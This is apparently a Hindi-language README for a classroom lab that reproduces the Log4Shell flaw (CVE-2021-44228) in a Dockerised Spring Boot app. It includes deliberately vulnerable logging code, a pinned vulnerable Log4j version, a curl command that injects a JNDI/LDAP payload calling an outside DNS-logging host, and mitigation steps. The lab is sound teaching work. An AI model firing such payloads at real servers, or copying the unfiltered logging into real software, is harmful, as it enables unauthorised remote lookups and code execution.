
Apache Log4j भेद्यता (CVE-2021-44228) के लिए परीक्षण वातावरण का तकनीकी अध्ययन और कार्यान्वयन। इसमें एक Dockerized Proof of Concept (PoC) और PSSI के अद्यतन का प्रस्ताव शामिल है। एक TP उद्देश्य के लिए।
यह प्रोजेक्ट एक नियंत्रित परीक्षण वातावरण है जो Apache Log4j लाइब्रेरी को प्रभावित करने वाली गंभीर Log4Shell (CVE-2021-44228) कमजोरी को पुन: उत्पन्न करने और समझने की अनुमति देता है।
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
यह प्रदर्शित करना कि कैसे एक हमलावर CVE-2021-44228 कमजोरी का उपयोग करके किसी सर्वर को केवल एक दुर्भावनापूर्ण स्ट्रिंग भेजकर अनधिकृत आउटगोइंग नेटवर्क कनेक्शन करने के लिए मजबूर कर सकता है।
pom.xml)pom.xml फ़ाइल Log4j 2.14.1 के उपयोग को मजबूर करती है, जो सुरक्षा पैच से पहले का संस्करण है:
<log4j2.version>2.14.1</log4j2.version>
इस संस्करण में डिफ़ॉल्ट रूप से सक्रिय JndiLookup क्लास शामिल है, जो समस्या की जड़ है।
VulnerableApplication.java)एप्लिकेशन एक REST वेब सेवा प्रदान करता है। कमजोरी index विधि में स्थित है:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
समस्या : एप्लिकेशन एक उपयोगकर्ता पैरामीटर (input) प्राप्त करता है और इसे सीधे logger.info() को बिना किसी फ़िल्टरिंग के पास करता है। Log4j फिर सामग्री को एक संभावित कमांड के रूप में व्याख्या करता है।
Dockerfile)Dockerfile दो-चरणीय निर्माण का उपयोग करता है:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre के साथ निष्पादन💡 Java 11 का उपयोग प्रासंगिक है क्योंकि नवीनतम संस्करण डिफ़ॉल्ट रूप से दूरस्थ क्लास लोडिंग को प्रतिबंधित करते हैं।
शोषण JNDI (जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस) इंजेक्शन पर आधारित है:
${jndi:protocole://url} सिंटैक्स का पता लगाता हैसुनिश्चित करें कि निम्न फ़ाइलें एक ही फ़ोल्डर में हैं:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
docker run -p 8080:8080 --name demo-log4j vulnerable-app
एप्लिकेशन अब पोर्ट 8080 पर सुन रहा है।
DNS लॉगिंग सेवा पर जाएं:
प्रदान किया गया पता कॉपी करें (जैसे: mon-test.dnslog.cn)
एक नए टर्मिनल में, निम्न कमांड चलाएं:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 नोट : टर्मिनल में
$को एस्केप करने के लिए\वर्ण का उपयोग किया जाता है।
dnslog साइट पर वापस जाएं। आपको एक DNS अनुरोध दिखाई देगा, यह पुष्टि करता है कि सर्वर ने इंजेक्टेड कोड निष्पादित किया है।
सर्वर ने केवल एक उपयोगकर्ता अनुरोध को लॉग करके बाहरी मशीन के लिए एक आउटगोइंग कनेक्शन किया।
वास्तविक परिदृश्य में, यह कनेक्शन अनुमति दे सकता था:
इस कमजोरी को ठीक करने के लिए:
-Dlog4j2.formatMsgNoLookups=trueयह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग जिम्मेदारी और नैतिकता से करें।
| चरण | कार्रवाई |
|---|
| 1 | जावा एप्लिकेशन HTTP अनुरोध प्राप्त करता है |
| 2 | logger.info(...) लाइन input पैरामीटर को संसाधित करती है |
| 3 | Log4j ${jndi:...} सिंटैक्स का पता लगाता है |
| 4 | Log4j दूरस्थ सर्वर की ओर LDAP रिज़ॉल्यूशन निष्पादित करता है |
| 5 | DNSLog इंटरफ़ेस पर एक DNS अनुरोध दिखाई देता है |